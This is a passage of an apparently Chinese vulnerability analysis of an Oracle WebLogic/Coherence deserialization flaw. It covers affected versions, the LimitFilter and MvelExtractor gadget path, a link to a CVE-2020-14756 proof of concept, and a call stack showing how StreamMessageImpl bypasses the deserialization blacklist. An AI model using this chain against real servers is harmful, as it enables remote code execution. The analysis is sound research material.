34;:&#34;qU34-1673936953423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 3.7.1.17&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eE9f-1673936963388&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CKbL-1673936963387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lVJs-1673936963390&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YfQZ-1673936963389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Anr0-1673936963392&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LuIy-1673936963391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pLgP-1673940724811&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U9ID-1673940724809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;且JDK &gt; 8u76&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lNad-1673937260541&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3V9E-1673937260539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3NKv-1673937258030&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmp2-1673937258027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; 主要是Oracle Coherence中的LimitFilter类存在一个toString方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfh5-1673941101504&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;java&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MNef-1673941101479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ECOo-1673941101478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String toString () {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eaLG-1673941101481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fwee-1673941101480&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    StringBuffer sb = new StringBuffer(\&#34;LimitFilter: (\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FYof-1673941101483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s3ip-1673941101482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(this.m_filter).append(\&#34; [pageSize=\&#34;).append(this.m_cPageSize).append(\&#34;, pageNum=\&#34;).append(this.m_nPage);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oveD-1673941101485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d65M-1673941101484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.m_comparator instanceof ValueExtractor) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PPoc-1673941101487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DEeq-1673941101486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ValueExtractor extractor = (ValueExtractor)this.m_comparator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EX2K-1673941101489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oQOY-1673941101488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, top=\&#34;).append(extractor.extract(this.m_oAnchorTop)).append(\&#34;, bottom=\&#34;).append(extractor.extract(this.m_oAnchorBottom));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7S48-1673941101491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGnw-1673941101490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (this.m_comparator != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XiJF-1673941101493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tvRK-1673941101492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, comparator=\&#34;).append(this.m_comparator);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qjOL-1673941101495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGQx-1673941101494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8rSh-1673941101497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jB2O-1673941101496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OOFm-1673941101499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Duae-1673941101498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(\&#34;])\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3WP6-1673941101501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NTSs-1673941101500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return sb.toString();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;meIj-1673941101503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cqvv-1673941101502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gfYD-1673937394396&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zhi8-1673937394394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;传入的对象若是继承自ValueExtractor类则会调用其extract方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HHlR-1673942089626&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5280/WEBRESOURCE97805d0cd1508976378ea7dc181cc994&#34;,&#34;width&#34;:2178,&#34;height&#34;:1090},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFXm-1673937394581&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cv8o-1673937394579&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可利用的类不止一个，比如com.tangosol.coherence.rest.util.extractor.MvelExtractor的extract方法将会直接执行Mvel表达式：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d5Lb-1673942993611&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5284/WEBRESOURCEf0e388f9350b3a52ab91ac1ebb28d0a3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jSs3-1673937394754&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uVKL-1673937394753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6gza-1673946934904&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;04BA-1673946934903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;46s3-1673947020224&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0WKI-1673947020223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9v4V-1673947020226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sdps-1673940653476&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;width&#34;:704,&#34;height&#34;:471},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;initialSize&#34;:{&#34;width&#34;:704,&#34;height&#34;:1300},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VLIT-1673940711109&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R6Sw-1673940711110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6aX-1673940701477&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;width&#34;:705,&#34;height&#34;:491},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;initialSize&#34;:{&#34;width&#34;:705,&#34;height&#34;:1382},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;01zo-1673861449893&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NonR-1673861449892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dU1v-1673575967334&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sl9B-1673575967332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考文章：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QQ5l-1673575720108&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TZl9-1673575720107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;qpLh-1673575948943&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zRvk-1673575948942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vqad-1673575948944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n1fj-1673577318648&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTAT-1673577318646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;q9D8-1673577319028&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UrP6-1673577319027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LcXy-1673577319029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rynN-1673575952755&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6dR-1673575952752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;eXpr-1673575953055&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4cY3-1673575953054&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h2uO-1673575953056&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SqwR-1673575959748&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lAcW-1673575959746&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;9rNx-1673575960046&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hFJs-1673575960045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wgeu-1673575960048&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iNWq-1673575964381&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWgC-1673575964378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Ns7j-1673575964739&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://wjlshare.com/archives/1573&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qxIl-1673575964738&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://wjlshare.com/archives/1573&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t6eF-1673575964740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SLif-1673947585247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOpO-1673947585245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;2mKY-1673947585794&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xYfr-1673947585793&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vq2F-1673947585795&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); text-align: start; white-space: normal;"><p><span style="font-size: 15px;">跟一下代码：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readExternal</span><span class="code-snippet__selector-pseudo">:1396</span>, <span class="code-snippet__selector-tag">StreamMessageImpl</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.jms</span><span class="code-snippet__selector-class">.common</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readExternalData</span><span class="code-snippet__selector-pseudo">:1835</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readOrdinaryObject</span><span class="code-snippet__selector-pseudo">:1794</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject0</span><span class="code-snippet__selector-pseudo">:1348</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:370</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:66</span>, <span class="code-snippet__selector-tag">InboundMsgAbbrev</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">read</span><span class="code-snippet__selector-pseudo">:38</span>, <span class="code-snippet__selector-tag">InboundMsgAbbrev</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readMsgAbbrevs</span><span class="code-snippet__selector-pseudo">:283</span>, <span class="code-snippet__selector-tag">MsgAbbrevJVMConnection</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">init</span><span class="code-snippet__selector-pseudo">:213</span>, <span class="code-snippet__selector-tag">MsgAbbrevInputStream</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:498</span>, <span class="code-snippet__selector-tag">MsgAbbrevJVMConnection</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:330</span>, <span class="code-snippet__selector-tag">MuxableSocketT3</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span><span class="code-snippet__selector-class">.t3</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:387</span>, <span class="code-snippet__selector-tag">BaseAbstractMuxableSocket</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readReadySocketOnce</span><span class="code-snippet__selector-pseudo">:967</span>, <span class="code-snippet__selector-tag">SocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readReadySocket</span><span class="code-snippet__selector-pseudo">:899</span>, <span class="code-snippet__selector-tag">SocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">processSockets</span><span class="code-snippet__selector-pseudo">:130</span>, <span class="code-snippet__selector-tag">PosixSocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">run</span><span class="code-snippet__selector-pseudo">:29</span>, <span class="code-snippet__selector-tag">SocketReaderRequest</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">execute</span><span class="code-snippet__selector-pseudo">:42</span>, <span class="code-snippet__selector-tag">SocketReaderRequest</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">execute</span><span class="code-snippet__selector-pseudo">:145</span>, <span class="code-snippet__selector-tag">ExecuteThread</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.kernel</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">run</span><span class="code-snippet__selector-pseudo">:117</span>, <span class="code-snippet__selector-tag">ExecuteThread</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.kernel</span>)</span></code></pre></section><p><span style="font-size: 15px;">同样通过InboundMsgAbbrev为入口进行数据的read操作，但由于我们实现了StreamMessageImpl接口，反序列化过程将通过readOrdinaryObject方法调用readExternalData，进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 683px;height: 435px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=c935494e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yAqLb5iaMicwZR5YoThvXdPrSJxtwfuGUDXanIw8Aib7DeLoylpVATrQ5Q%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6341463414634146" style="width: 681px;height: 434px;" 